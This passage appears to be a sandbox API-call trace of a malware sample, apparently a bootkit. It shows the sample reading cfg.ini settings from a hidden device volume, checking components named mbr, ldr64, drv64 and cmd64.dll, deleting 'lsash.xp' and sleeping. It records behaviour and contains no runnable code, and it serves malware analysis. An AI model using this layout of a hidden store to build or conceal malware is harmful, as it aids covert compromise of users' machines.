BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cba000 [0117.494] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.494] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.494] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.494] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.495] IdePortDispatch () returned 0x103 [0117.495] KeWaitForMutexObject () returned 0x0 [0117.495] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.495] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.495] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.495] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.495] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.495] IdePortDispatch () returned 0x103 [0117.495] KeWaitForMutexObject () returned 0x0 [0117.495] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.495] KeLeaveCriticalRegion () [0117.495] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.495] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.496] KeEnterCriticalRegion () [0117.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.496] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.496] KeLeaveCriticalRegion () [0117.496] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.496] KeEnterCriticalRegion () [0117.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.496] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.496] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d97d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.496] KeLeaveCriticalRegion () [0117.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.496] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.496] KeEnterCriticalRegion () [0117.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.496] ExFreePoolWithTag (P=0xfffffa80039c1340, Tag=0x0) [0117.496] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.496] KeLeaveCriticalRegion () [0117.496] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.496] ReleaseMutex (hMutex=0xf0) returned 1 [0117.496] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.496] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.496] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.496] KeEnterCriticalRegion () [0117.496] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.496] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.496] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.496] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.496] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.496] IdePortDispatch () returned 0x103 [0117.496] KeWaitForMutexObject () returned 0x0 [0117.496] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.496] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.496] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.496] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.496] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.496] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1b90 [0117.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.497] KeLeaveCriticalRegion () [0117.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.497] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.497] KeEnterCriticalRegion () [0117.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.497] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.497] KeLeaveCriticalRegion () [0117.497] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.497] KeEnterCriticalRegion () [0117.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.497] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.497] IdePortDispatch () returned 0x103 [0117.497] KeWaitForMutexObject () returned 0x0 [0117.497] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.497] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.497] KeLeaveCriticalRegion () [0117.497] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.497] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.497] KeEnterCriticalRegion () [0117.497] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.497] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbb000 [0117.497] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.497] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.497] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.497] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.497] IdePortDispatch () returned 0x103 [0117.497] KeWaitForMutexObject () returned 0x0 [0117.498] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.498] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.498] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.498] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.498] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.498] IdePortDispatch () returned 0x103 [0117.498] KeWaitForMutexObject () returned 0x0 [0117.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.498] KeLeaveCriticalRegion () [0117.498] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.498] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.498] KeEnterCriticalRegion () [0117.498] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.498] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.498] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.498] KeLeaveCriticalRegion () [0117.498] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.499] KeEnterCriticalRegion () [0117.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.499] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.499] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9a80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.499] KeLeaveCriticalRegion () [0117.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.499] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.499] KeEnterCriticalRegion () [0117.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.499] ExFreePoolWithTag (P=0xfffffa80039c1b90, Tag=0x0) [0117.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.499] KeLeaveCriticalRegion () [0117.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.499] ReleaseMutex (hMutex=0xf0) returned 1 [0117.499] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.499] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0117.499] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.499] KeEnterCriticalRegion () [0117.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.499] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.499] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.499] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.499] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.499] IdePortDispatch () returned 0x103 [0117.499] KeWaitForMutexObject () returned 0x0 [0117.499] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.499] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.499] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.499] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.499] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.499] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039daf60 [0117.499] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.499] KeLeaveCriticalRegion () [0117.499] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.499] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.499] KeEnterCriticalRegion () [0117.499] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.500] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.500] KeLeaveCriticalRegion () [0117.500] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.500] KeEnterCriticalRegion () [0117.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.500] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0117.500] IdePortDispatch () returned 0x103 [0117.500] KeWaitForMutexObject () returned 0x0 [0117.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.500] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.500] KeLeaveCriticalRegion () [0117.500] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.500] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.500] KeEnterCriticalRegion () [0117.500] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.500] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbc000 [0117.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.500] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.500] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.500] IdePortDispatch () returned 0x103 [0117.500] KeWaitForMutexObject () returned 0x0 [0117.500] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.500] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.500] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.501] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.501] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0117.501] IdePortDispatch () returned 0x103 [0117.501] KeWaitForMutexObject () returned 0x0 [0117.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.501] KeLeaveCriticalRegion () [0117.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.501] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.501] KeEnterCriticalRegion () [0117.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.501] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.501] KeLeaveCriticalRegion () [0117.501] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.501] KeEnterCriticalRegion () [0117.501] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.501] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.501] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039da070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.501] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.501] KeLeaveCriticalRegion () [0117.501] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.501] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.502] KeEnterCriticalRegion () [0117.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.502] ExFreePoolWithTag (P=0xfffffa80039daf60, Tag=0x0) [0117.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.502] KeLeaveCriticalRegion () [0117.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.502] ReleaseMutex (hMutex=0xf0) returned 1 [0117.502] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0117.502] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0117.502] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0117.502] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.502] KeEnterCriticalRegion () [0117.502] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.502] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.502] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.502] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.502] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.502] IdePortDispatch () returned 0x103 [0117.502] KeWaitForMutexObject () returned 0x0 [0117.502] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.502] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.502] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.502] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.502] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.502] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.502] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.502] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.502] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.502] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.502] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.502] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.502] KeLeaveCriticalRegion () [0117.502] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.502] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0117.503] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0117.503] KeEnterCriticalRegion () [0117.503] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.503] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.503] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.503] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.503] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.503] IdePortDispatch () returned 0x103 [0117.503] KeWaitForMutexObject () returned 0x0 [0117.503] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.503] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0117.503] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.503] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.503] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0117.503] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.503] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0117.503] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.503] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0117.503] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0117.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.503] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0117.503] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.503] KeLeaveCriticalRegion () [0117.503] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.503] ReleaseMutex (hMutex=0x100) returned 1 [0117.503] Sleep (dwMilliseconds=0x2bf20) [0117.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x693b0c50, dwHighDateTime=0x1d24fa4)) [0117.505] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0117.506] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.513] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.513] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.513] KeEnterCriticalRegion () [0117.513] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.513] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.513] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.513] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.513] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0117.513] IdePortDispatch () returned 0x103 